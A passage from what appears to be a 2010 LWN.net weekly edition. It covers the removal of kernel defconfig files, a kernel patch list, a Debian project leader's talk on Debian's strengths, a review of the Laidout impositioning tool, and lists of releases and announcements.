He goes on to describe a theoretical Kconfig.omap3_evm file that sets the specific requirements for that platform and then includes Kconfig.omap3. That file sets up whatever is required for the OMAP3 platform and includes Kconfig.arm. That would allow developers or tools like kautobuild to generate the necessary config files without having to carry them around in the kernel tree. Those Kconfig files would also be much more readable and any diffs would be understandable, which is important to Torvalds.

That solves a significant subset of the problem, but there is still a fly in the ointment: dependencies. In Torvalds's example, CONFIG_USB requires CONFIG_USB_SUPPORT, so that would need to be added to Mykconfig. Not accounting for dependencies will get you a kernel that doesn't build or, worse yet, won't run correctly. There are a number of possible solutions to the dependency problem, though, ranging from Catalin Marinas's patch to track unmet dependencies of options used in select statements to Vegard Nossum's summer of code project to add a satisfiability solver into the configuration editors (menuconfig, etc.).

It certainly seems likely that defconfig files will be removed from the kernel tree in the 2.6.36 merge window. Whether there is another solution—based on Torvalds's ideas or something else—to replace them is really up to the architecture teams as Torvalds is perfectly happy to move on without them. ARM, PowerPC, MIPS, and others all have lots of defconfig files, but unless he changes his mind, they won't in a few short months. They can keep maintaining those files in a separate repository somewhere, or find an acceptable method to generate them. While it may be painful in the short term, it will reduce the size of the kernel tree and make Torvalds's job easier, both of which are worth striving for.

Comments (8 posted)

Patches and updates

Kernel trees

• Linus Torvalds: Linux 2.6.35-rc3 . (June 12, 2010)

Core kernel code

• Tejun Heo: irq: better lost/spurious irq handling . (June 14, 2010)

• Srikar Dronamraju: Uprobes v5 . (June 14, 2010)

• Tejun Heo: workqueue: concurrency managed workqueue, take#5 . (June 15, 2010)

Development tools

• Zhang, Yanmin: para virt interface of perf to support kvm guest os statistics collection in guest os . (June 14, 2010)

• Jeffrey Merkey: MDB - Merkey Debugger 2.6.34-06-15-2010 . (June 16, 2010)

Device drivers

• Gregory Bean: Add gpiolib support for MSM chips. . (June 14, 2010)

• Adrian Hunter: Add MMC erase and secure erase . (June 14, 2010)

• Datta, Shubhrajyoti: [PATCH] Adding support for BMP085 pressure sensor. . (June 14, 2010)

• Luotao Fu: gpio: add STMPE811 gpio controller support . (June 14, 2010)

• Michal Nazarewicz: g_multi & other improvements and cleanpus . (June 16, 2010)

• Alan Cox: hmc6352: Add driver for the HMC6352 compass . (June 16, 2010)

• Alan Stern: SCSI: implement runtime Power Management . (June 16, 2010)

• Sylwester Nawrocki: Samsung multimedia (FIMC and FB) drivers proposal . (June 16, 2010)

Filesystems and block I/O

• Kent Overstreet: [RFC][PATCH 1/3] Bcache: Version 5 - read/write, pretty close to stable, and some numbers . (June 14, 2010)

• Christoph Hellwig: XFS status update for May 2010 . (June 15, 2010)

• Valerie Aurora: Union mounts - union stack as linked list . (June 15, 2010)

• Aneesh Kumar K.V: Generic name to handle and open by handle syscalls . (June 15, 2010)

Memory management

• Mel Gorman: Avoid overflowing of stack during page reclaim V2 . (June 14, 2010)

• Andrea Arcangeli: Transparent Hugepage Support #26 . (June 16, 2010)

Networking

• Eric W. Biederman: Support unix domain sockets across namespaces . (June 15, 2010)

• Richard Cochran: ptp: IEEE 1588 clock support . (June 15, 2010)

Architecture-specific

• Jason Baron: jump label v9 . (June 12, 2010)

• Avi Kivity: Really lazy fpu . (June 14, 2010)

• Erik Gilling: [ARM] tegra: tegra support . (June 15, 2010)

• Himanshu Chauhan: MIPS: Kprobes and Kretprobes Support . (June 15, 2010)

• Yinghai Lu: Use lmb with x86 . (June 16, 2010)

• Andres Salomon: x86: OLPC: add support for calling into OpenFirmware (v3) . (June 16, 2010)

Security-related

• Tetsuo Handa: TOMOYO: Add conditional ACL support. . (June 12, 2010)

Benchmarks and bugs

• Rafael J. Wysocki: 2.6.35-rc3: Reported regressions 2.6.33 -> 2.6.34 . (June 14, 2010)

Page editor: Jonathan Corbet

Distributions

News and Editorials

Verbal bits from the Debian Project Leader

Debian has grown a lot since its origin back in 1993. At this point, it holds around 29,000 packages and is the base for some 120 derivative distributions. There have been eleven major releases over the life of the project, with the twelfth getting closer. The project has about 900 developers, plus about 120 "Debian maintainers" working on it. It would seem that Debian is going strong.

Still, Stefano says that there is a certain amount of FUD going around the project, often voiced by Debian's developers themselves. Those developers worry that other distributions release more often, innovate more, and have more users than Debian does. Also, somehow, those distributions seem to get more credit. In this context, Stefano asked: is Debian still better, and is it still relevant? His answer was "yes" on both counts.

So why is Debian better? Freedom and independence were at the top of Stefano's list. Debian, he says, has pushed the concept of free software more strongly than most other distributions, and certainly more than the company-backed distributions have. As a result, Debian's users are more aware of freedom-related issues. Debian is free software from the bottom to the top - even down to the firmware anymore. There are no non-free web services either, for users or for developers.

Most high-profile alternatives to Debian are tied to companies, which means that, to some extent, they are answerable to those companies. Debian is not, which gives the distribution the freedom to make its own decisions. And, in fact, project governance is, according to Stefano, one of Debian's strengths. It is, at its core, a "do-ocracy," where any developer is entitled to make all decisions related to his or her own work. For group decisions, reputations are tightly tied to the work that each developer has done. So those who do the work make the decisions; Debian's decisions are not imposed by any outside entity.

Finally, Stefano asserts that Debian is better because of the quality of the distribution. The "release when it is ready" policy may lead to slow and unpredictable releases, but it also enables stable releases. And, in Debian, most package maintainers are experts on the software they deal with.

That said, Debian can be better yet. To that end, Stefano is trying to encourage Debian developers to take more responsibility for the quality of the distribution as a whole and to step up to get the work done. At the top of his list is helping to get releases out the door; that responsibility, he says, does not just lie with the release team. Debian developers should "be bold" and, once they have dealt with their own release-critical (RC) bugs, they should go off and fix RC bugs in other packages as well.

In other words, Stefano is pushing Debian developers to use the non-maintainer update (NMU) process to push fixes into other developers' packages. Traditionally, Debian has given its developers a high level of control over their packages; an NMU is seen as an action to be taken only when there is a dire need to do so. Stefano thinks that NMUs should be done much more frequently; the "delayed" mechanism should be used to give the package maintainer a chance to respond to the changes.

The use of NMUs is at the core of Stefano's RC bug of the week initiative. He has performed some 180 NMUs fixing RC bugs without hearing a single complaint from the maintainers involved. Instead, he often gets thanks. On occasion, the maintainer has overridden the NMU with a different fix, but that's good too: it still means that the bug gets fixed. All told, Stefano thinks it has been a successful initiative which should be adopted by others.

With regard to the perception that Debian lacks the manpower to get jobs done, Stefano says: be that manpower. In particular, he would like to see more developers joining core teams which are having a hard time getting their work done. It is, he says, harder than ranting on the mailing lists, but it is also more productive and satisfying. There is also, he says, a feeling that Debian has reached a point where there is too much inertia to make large changes. But it shouldn't be that way if developers jump in and simply make those changes happen. Along the way, developers shouldn't always try to seek consensus on the mailing lists; there will always be vocal, dissatisfied minorities but they shouldn't be able to keep things from getting done.

Speaking of the mailing lists, Stefano would like to see Debian become a more attractive community to be a part of. Things have improved a lot over the years, but they can improve further yet. The project cannot afford to lose people who are unable to develop a thick-enough skin to work within the community. So he would like to see more active discouragement of bad behavior, both privately and publicly.

Finally, it would be good, he says, to reduce the barriers to participation in Debian. One of the best things that could happen there would be to improve the documentation of Debian's processes and procedures. A posting to debian-devel-announce is not, he says, documentation; there is no central organization and it is hard for newcomers to find later on.

With Stefano, the Debian project seems to have picked a more energetic and more communicative leader than in the recent past. He seems determined to make use of the soapbox the project has loaned him to push the project toward improving itself. Time will tell how much Debian's famously independent-minded developers are willing to follow Stefano's lead, but his goals - better releases and a more pleasant, more engaged community - seem uncontroversial.

Comments (12 posted)

New Releases

openSUSE Build Service 1.8 and 2.0 Announced

Full Story (comments: none)

Sugar Labs Announces New Version of Sugar on a Stick

Full Story (comments: none)

Distribution News

Debian GNU/Linux

Bits from the Release Team: current status; where next; scheduling

Full Story (comments: none)

Newsletters and articles of interest

Distribution newsletters

• Debian Project News (June 14)
• DistroWatch Weekly, Issue 358 (June 14).
• Fedora Weekly News (June 9)
• openSUSE Weekly News 127 (June 12)
• Ubuntu Weekly Newsletter 197 (June 12)

Comments (none posted)

The Ubuntu Advantage? Canonical Takes On Red Hat (Linux Magazine)

Comments (9 posted)

Eric Hameleers: Slackware does exactly what I want it to do. (The Slack World)

Comments (none posted)

Seven Reasons to Upgrade to openSUSE 11.3 (Linux.com)

Comments (none posted)

Sundaram: Kyle needs more alcohol

Comments (none posted)

Page editor: Rebecca Sobol

Development

Open source impositioning with Laidout

Artist Tom Lechner presented his application Laidout at Libre Graphics Meeting 2010 in Brussels, garnering widespread praise from the attendees for its technical abilities. Video of the presentation is online, but for a closer look you can download the code yourself and try it out. The application offers an eclectic mix of tools — many with no other open source competition — for manipulating images and documents destined for printing.

It's more like an imposition?

The initial goal of Laidout was to serve as an open source tool for impositioning; that is, laying out a document that was designed on a per-page basis (as all word processors and essentially all desktop publishers do) with full control over how the individual pages are arranged and aligned on the physical paper.

With an application like Scribus, if you wish to print (for example) a booklet on letter-sized paper folded in half, you must manually figure out which pages go back-to-back and arrange them in Scribus so that the final result, when printed, folds into the correct order front-to-back. An impositioning tool performs that step for you, and recalculates if you add or remove pages. More complicated procedures, such as printing on large stock, folding, and cutting, are also part of the process.

Professional print shops often handle impositioning themselves, which for large runs enables them to minimize paper usage and other costs. But Lechner illustrates and prints his own cartoon books, so he wanted full control over the process.

GPLv2-licensed source code and Debian packages are available through Laidout.org. The latest release is 0.9, from February of 2010. There are no peculiar dependencies; lower-level image-processing libraries such as imlib2 and libpng, modern FreeType and CUPS packages, and other standard libraries are all that are required. Laidout's GUI is coded directly in a widget toolkit of Lechner's own design called Laxkit, which is graphically reminiscent of Xlib but should run without issue on any desktop Linux distribution.

Laidout features a few object manipulation tools, but does not sport a full vector editing environment like Inkscape or text tools like Scribus. Instead, it focuses on importing a variety of document types, allowing the user to rearrange and manipulate them, and export the results. PDF 1.4, EPS, SVG, and several other common formats (including native Scribus documents) are supported as both input and output.

Some of the file formats offer only partial support, but Laidout does its best to preserve data that it does not understand (labeling it "mystery data"). Scribus receives the most attention; the newest release even supports impositioning documents that use Scribus's advanced "render frames" feature. Render frames allow Scribus documents to embed calls to TeX, MathML, or other external content renderers. Lechner also provides a Python script that uses Laidout to imposition a Scribus document that is, by default, set for impositioning a letter-sized document for printing on tabloid-sized paper stock.

In the basic workflow to make a booklet, the user would first create a new document in Laidout, specifying the paper size, orientation, and choosing the "booklet" impositioning style. The user could then import a multi-page document created in Scribus (or another supported application), and rearrange the resulting paper layout in Laidout's Spread Editor. For linear book content, of course, there is probably only one correct order, but for artistic creations, the ability to move the pages around at will is a nice feature. Laidout can print the resulting compound document directly via lp, or save to any of the supported output file formats.

Laidout employs a separate mode for the loosely related task of tiling large images, allowing the user to divide up a image for printing on multiple sheets of paper which can be individually and arbitrarily arranged.

Another feature takes page layout into an entirely new dimension, "Net Impositions," which automatically remap images onto non-rectangular paper — specifically, unwrapped 3-D polyhedra. Lechner added this feature in order to easily print 360-degree panoramic photos onto paper in a format that could be cut out and folded into a three-dimensional shape for viewing. He has several examples of the technique on his Flickr photo stream. The polyhedron used as the surface is defined in a separate file (described on the web site), and can be "unwrapped" into a 2-D paper in any manner.

Image editing

In addition to its layout capabilities, Lechner is continually adding new image editing tools to Laidout. The latest release adds vector-based path editing, which he admits is noticeably less full-featured than that of a primary vector editor. Text tools and other staples are on the roadmap.

There are several gems to be found in the current palette of tools, however, including some features not found in other open source applications. The gradient editor is remarkably intuitive, allowing in-place linear and radial gradient editing and arbitrary rearrangement of gradient stops, while retaining an easy-to-understand interface. Similarly, all images can be scaled, rotated, and sheared at will, around arbitrary points, and the actual pages on which the layout takes place can be rotated as well.

An interesting addition to the toolbox is the "ColorPatch" editor, which can create and edit two-dimensional gradient fields. As with other gradients, all of the control points can be edited in-place, but what really makes the tool interesting is the ability to subdivide the gradient object, adding as many rows or columns of control points as desired. Inkscape has added the same basic functionality (called "gradient meshes"), but Laidout's controls are easier to work with.

If gradient meshes don't seem interesting on their own, however, the "ImagePatch" might. It uses the same underlying components as the ColorPatch editor, but allows the user to distort and manipulate imported raster images. Again, the basic controls for distorting the corners, edges, and midpoint are made considerably more powerful by the ability to subdivide the image with additional sets of control points. Lechner observes on the site how useful this feature would be in a full raster editor like GIMP, which is undeniable.

Caveats

As much fun as Laidout is, it is not nearly as stable as the big graphics projects, and requires a lot of learning. The latter, primarily, is because Lechner develops it for his own personal use, and adapts it as his needs change. He describes it as "rough and experimental" but adds "I'm endeavoring to change that, but there are only so many hours in the day!" He said that Laidout has only been downloaded around 3000 times so far, and that although he has gotten little feedback, he hopes to build the application into something useful for others in the cartoon and zine world.

Another factor that contributes to Laidout's learning curve is that the interface uses Laxkit instead of a familiar GUI toolkit like GKT+ or Qt. It differs in appearance, but also incorporates different behavior in the windows and tools, such as right-clicking in the "gutter" between window panes to bring up a context menu. This is not to say that the differences are bad, per se, but they are different. Rather than a standard color selector widget, for example, you can change the selected foreground color by clicking and dragging the mouse inside the color box: a left-click alters the red channel, a middle-click the green, and a right-click the blue. It sounds strange at first, but once you get the hang of it, it's easy to do.

Lechner said he initially decided to build his own toolkit for the challenge of it, because he could not keep up with the changing dependencies of the existing toolkits, and because the existing toolkits did not offer the flexibility in controls that he wanted. Coding Laxkit took more time than he originally estimated, but it does allow him to change the APIs at will without hurting hundreds of other developers. He is currently working on adding XInput2's multi-device and multi-touch gesture support.

Growing from a single-developer project into a tool with a wider user (and developer) base is a challenge for any application. The response to Lechner's Laidout talk at LGM indicates that there is great interest in what the program does. A few other open source applications have attempted impositioning support in the past (such as the PDF editor PoDoFo and the possibly unmaintained EasyPose), but it is still missing from the major desktop publishing utilities, which several of the artists and publishers at LGM commented on. The other features, including mapping spherical panoramas onto arbitrary polyhedra — well — they're just cool.

With any luck, the exposure at LGM will attract new developers to Laidout, either to work on project management tasks like bug reporting and documentation, or important pieces of the feature roadmap like text support, but without losing that singular, mad-scientist-like feel that makes it so much fun to play around with.

Comments (2 posted)

Brief items

Quote of the week

Comments (7 posted)

3to2 0.1 released

Full Story (comments: 1)

FFmpeg 0.6 released

Comments (none posted)

monotone 0.48 released

Full Story (comments: 1)

Parrot 2.5.0 "Cheops" Released

Full Story (comments: none)

SyncEvolution 1.0 released

Full Story (comments: none)

Wine 1.2-rc3

Comments (none posted)

xorg-server 1.8.99.901

Full Story (comments: none)

Newsletters and articles

Development newsletters from the last week

• Caml Weekly News (June 15)
• PostgreSQL Weekly News (June 13)
• Python-URL! (June 16)
• Tcl-URL! (June 9)

Comments (none posted)

KDE PIM Goes Mobile (KDE.News)

Comments (4 posted)

Hutterer: An (incomplete) roundup of touchpad features

Comments (none posted)

Twilio Launches Roll-Your-Own Google Voice (GigaOM)

Comments (6 posted)

Koleszar: VP8 Codec Optimization Update

Comments (24 posted)

Page editor: Jonathan Corbet

Announcements

Non-Commercial announcements

GNOME Foundation Board Elections Spring 2010 - Preliminary Results

Full Story (comments: none)

Libertine Open Fonts Project releases version 4.7.5

Full Story (comments: none)

PGXN Development Project

Full Story (comments: none)

Sugar and GNOME Now Shipping on the One Laptop per Child XO-1.5

Full Story (comments: none)

Commercial announcements

Kiddix promotion

Full Story (comments: none)

HP to buy slim Linux OS from Phoenix

Comments (8 posted)

Articles of interest

Stewart Rules: Novell Wins! CASE CLOSED! (Groklaw)

Comments (46 posted)

Updegrove: Looking Back at SCO

Comments (6 posted)

A new and better Open Source Initiative (opensource.com)

Comments (1 posted)

Cuif: Mandriva in the storm…

Comments (2 posted)

Betlem: Flash Player 10.1 Now Available

Comments (14 posted)

Adobe pulls Flash player for 64 bit linux (TechWorld)

Comments (16 posted)

New Books

SQL Antipatterns--New from Pragmatic Bookshelf

Full Story (comments: none)

Resources

Hiring FFmpeg developers

Comments (none posted)

Calls for Presentations

PyTexas 2010 Call for Proposals

Full Story (comments: none)

Pycon India 2010 - Call for Proposals

Comments (none posted)

Upcoming Events

Events: June 24, 2010 to August 23, 2010

If your event does not appear here, please tell us about it.

Page editor: Rebecca Sobol